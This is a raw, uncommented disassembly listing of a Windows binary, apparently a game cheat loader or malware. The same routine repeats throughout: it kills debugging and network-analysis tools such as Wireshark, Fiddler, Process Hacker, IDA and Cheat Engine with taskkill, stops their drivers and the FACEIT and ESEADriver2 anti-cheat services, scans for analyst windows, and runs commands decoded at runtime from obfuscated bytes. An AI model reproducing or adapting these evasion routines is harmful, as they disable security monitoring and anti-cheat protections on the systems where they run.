call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x878], xmm0
mov dword [rbp + 0x888], 0xcc8e8480
mov dword [rbp + 0x88c], 0x9c9a80d3
mov dword [rbp + 0x890], 0xd2cdc0d1
mov word [rbp + 0x894], Ordinal_200
mov byte [rbp + 0x896], 1
lea rcx, [rbp + 0x878]
call fcn.14005a840
lea rcx, [rbp + 0x878]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.FolderChangesView
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140052a3c
lea rax, [rbp + 0xc98]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xc98]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xc98]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xc98]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x258], xmm0
mov dword [rbp + 0x268], 0x809e84d7
mov dword [rbp + 0x26c], 0xd6d1dccd
mov word [rbp + 0x270], Ordinal_200
mov byte [rbp + 0x272], 1
lea rcx, [rbp + 0x258]
call fcn.14005a930
lea rcx, [rbp + 0x258]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xde998f9f
mov dword [rbp + 0xccc], 0x8581d0cd
mov dword [rbp + 0xcd0], 0xcac1d29d
mov dword [rbp + 0xcd4], 0x100c7d3
lea rcx, [rbp + 0xcb8]
call fcn.14005a900
lea rcx, [rbp + 0xcb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1538], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1548], xmm1
mov word [rbp + 0x1558], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x155a], 1
lea rcx, [rbp + 0x1538]
call fcn.14005a8d0
lea rcx, [rbp + 0x1538]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1560], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1570], xmm1
mov word [rbp + 0x1580], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1582], 1
lea rcx, [rbp + 0x1560]
call fcn.14005a8d0
lea rcx, [rbp + 0x1560]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1588], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1598], xmm1
mov word [rbp + 0x15a8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x15aa], 1
lea rcx, [rbp + 0x1588]
call fcn.14005a8d0
lea rcx, [rbp + 0x1588]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x15b0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x15c0], xmm1
mov word [rbp + 0x15d0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x15d2], 1
lea rcx, [rbp + 0x15b0]
call fcn.14005a8d0
lea rcx, [rbp + 0x15b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x578], xmm0
mov dword [rbp + 0x588], 0x82d5ca82
mov dword [rbp + 0x58c], 0xc2cf8298
mov dword [rbp + 0x590], 0xc2d4cf
mov byte [rbp + 0x594], 1
lea rcx, [rbp + 0x578]
call fcn.14005a8a0
lea rcx, [rbp + 0x578]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp - 0x38], xmm0
mov dword [rbp - 0x28], 0xcad5d8c9
mov word [rbp - 0x24], 0xdc
mov byte [rbp - 0x22], 1
lea rcx, [rbp - 0x38]
call fcn.14005a870
lea rcx, [rbp - 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x898], xmm0
mov dword [rbp + 0x8a8], 0xcc8e8480
mov dword [rbp + 0x8ac], 0x9c9a80d3
mov dword [rbp + 0x8b0], 0xd2cdc0d1
mov word [rbp + 0x8b4], Ordinal_200
mov byte [rbp + 0x8b6], 1
lea rcx, [rbp + 0x898]
call fcn.14005a840
lea rcx, [rbp + 0x898]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.BinaryNinja
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140052ea9
lea rax, [rbp + 0xcd8]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xcd8]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xcd8]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xcd8]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x278], xmm0
mov dword [rbp + 0x288], 0x809e84d7
mov dword [rbp + 0x28c], 0xd6d1dccd
mov word [rbp + 0x290], Ordinal_200
mov byte [rbp + 0x292], 1
lea rcx, [rbp + 0x278]
call fcn.14005a930
lea rcx, [rbp + 0x278]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xde998f9f
mov dword [rbp + 0xd0c], 0x8581d0cd
mov dword [rbp + 0xd10], 0xcac1d29d
mov dword [rbp + 0xd14], 0x100c7d3
lea rcx, [rbp + 0xcf8]
call fcn.14005a900
lea rcx, [rbp + 0xcf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x15d8], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x15e8], xmm1
mov word [rbp + 0x15f8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x15fa], 1
lea rcx, [rbp + 0x15d8]
call fcn.14005a8d0
lea rcx, [rbp + 0x15d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1600], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x1610], xmm1
mov word [rbp + 0x1620], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1622], 1
lea rcx, [rbp + 0x1600]
call fcn.14005a8d0
lea rcx, [rbp + 0x1600]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1628], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x1638], xmm1
mov word [rbp + 0x1648], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x164a], 1
lea rcx, [rbp + 0x1628]
call fcn.14005a8d0
lea rcx, [rbp + 0x1628]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x1650], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1660], xmm1
mov word [rbp + 0x1670], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1672], 1
lea rcx, [rbp + 0x1650]
call fcn.14005a8d0
lea rcx, [rbp + 0x1650]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x598], xmm0
mov dword [rbp + 0x5a8], 0x82d5ca82
mov dword [rbp + 0x5ac], 0xc2cf8298
mov dword [rbp + 0x5b0], 0xc2d4cf
mov byte [rbp + 0x5b4], 1
lea rcx, [rbp + 0x598]
call fcn.14005a8a0
lea rcx, [rbp + 0x598]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0xcad5d8c9
mov word [rbp - 0xc], 0xdc
mov byte [rbp - 0xa], 1
lea rcx, [rbp - 0x20]
call fcn.14005a870
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x8b8], xmm0
mov dword [rbp + 0x8c8], 0xcc8e8480
mov dword [rbp + 0x8cc], 0x9c9a80d3
mov dword [rbp + 0x8d0], 0xd2cdc0d1
mov word [rbp + 0x8d4], Ordinal_200
mov byte [rbp + 0x8d6], 1
lea rcx, [rbp + 0x8b8]
call fcn.14005a840
lea rcx, [rbp + 0x8b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x1400ed4ec]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140053316
lea rax, [rbp + 0xd18]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xd18]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xd18]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xd18]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x298], xmm0
mov dword [rbp + 0x2a8], 0x809e84d7
mov dword [rbp + 0x2ac], 0xd6d1dccd
mov word [rbp + 0x2b0], Ordinal_200
mov byte [rbp + 0x2b2], 1
lea rcx, [rbp + 0x298]
call fcn.14005a930
lea rcx, [rbp + 0x298]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee550]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xde998f9f
mov dword [rbp + 0xd4c], 0x8581d0cd
mov dword [rbp + 0xd50], 0xcac1d29d
mov dword [rbp + 0xd54], 0x100c7d3
lea rcx, [rbp + 0xd38]
call fcn.14005a900
lea rcx, [rbp + 0xd38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5a0]
movdqu xmmword [rbp + 0x1678], xmm0
movdqa xmm1, xmmword [0x1400ee5d0]
movdqu xmmword [rbp + 0x1688], xmm1
mov word [rbp + 0x1698], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x169a], 1
lea rcx, [rbp + 0x1678]
call fcn.14005a8d0
lea rcx, [rbp + 0x1678]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x16a0], xmm0
movdqa xmm1, xmmword [0x1400ee5e0]
movdqu xmmword [rbp + 0x16b0], xmm1
mov word [rbp + 0x16c0], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x16c2], 1
lea rcx, [rbp + 0x16a0]
call fcn.14005a8d0
lea rcx, [rbp + 0x16a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x16c8], xmm0
movdqa xmm1, xmmword [0x1400ee5f0]
movdqu xmmword [rbp + 0x16d8], xmm1
mov word [rbp + 0x16e8], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x16ea], 1
lea rcx, [rbp + 0x16c8]
call fcn.14005a8d0
lea rcx, [rbp + 0x16c8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee590]
movdqu xmmword [rbp + 0x16f0], xmm0
movdqa xmm1, xmmword [0x1400ee600]
movdqu xmmword [rbp + 0x1700], xmm1
mov word [rbp + 0x1710], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x1712], 1
lea rcx, [rbp + 0x16f0]
call fcn.14005a8d0
lea rcx, [rbp + 0x16f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee580]
movdqu xmmword [rbp + 0x5b8], xmm0
mov dword [rbp + 0x5c8], 0x82d5ca82
mov dword [rbp + 0x5cc], 0xc2cf8298
mov dword [rbp + 0x5d0], 0xc2d4cf
mov byte [rbp + 0x5d4], 1
lea rcx, [rbp + 0x5b8]
call fcn.14005a8a0
lea rcx, [rbp + 0x5b8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee560]
movdqu xmmword [rbp - 8], xmm0
mov dword [rbp + 8], 0xcad5d8c9
mov word [rbp + 0xc], 0xdc
mov byte [rbp + 0xe], 1
lea rcx, [rbp - 8]
call fcn.14005a870
lea rcx, [rbp - 8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee570]
movdqu xmmword [rbp + 0x8d8], xmm0
mov dword [rbp + 0x8e8], 0xcc8e8480
mov dword [rbp + 0x8ec], 0x9c9a80d3
mov dword [rbp + 0x8f0], 0xd2cdc0d1
mov word [rbp + 0x8f4], Ordinal_200
mov byte [rbp + 0x8f6], 1
lea rcx, [rbp + 0x8d8]
call fcn.14005a840
lea rcx, [rbp + 0x8d8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Cheat_Engine_7.2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140053783
lea rax, [rbp + 0xd58]
mov qword [rbp + 0x2090], rax
movzx edx, byte [rbp + 0x2090]
lea rcx, [rbp + 0xd58]
call fcn.14004efa0
nop
xor r8d, r8d
lea rdx, [0x1400e06e2]
lea rcx, [rbp + 0xd58]
call fcn.14004efc0
nop
lea rdx, [rbp + 0xd58]
lea rcx, [0x140102610]
call fcn.1400750c0
call fcn.14004f740
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_HTTPDebuggerPro__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400ee5c0]
movdqu xmmword [rbp + 0x2b8], xmm0
mov dword [rbp + 0x2c8], 0x809e84d7
mov dword [rbp + 0x2cc], 0xd6d1dccd
mov word [rbp + 0x2d0], Ordinal_200
mov byte [rbp + 0x2d2], 1
lea rcx, [rbp + 0x2b8]
call fcn.14005a930
lea rcx, [rbp + 0x2b8]
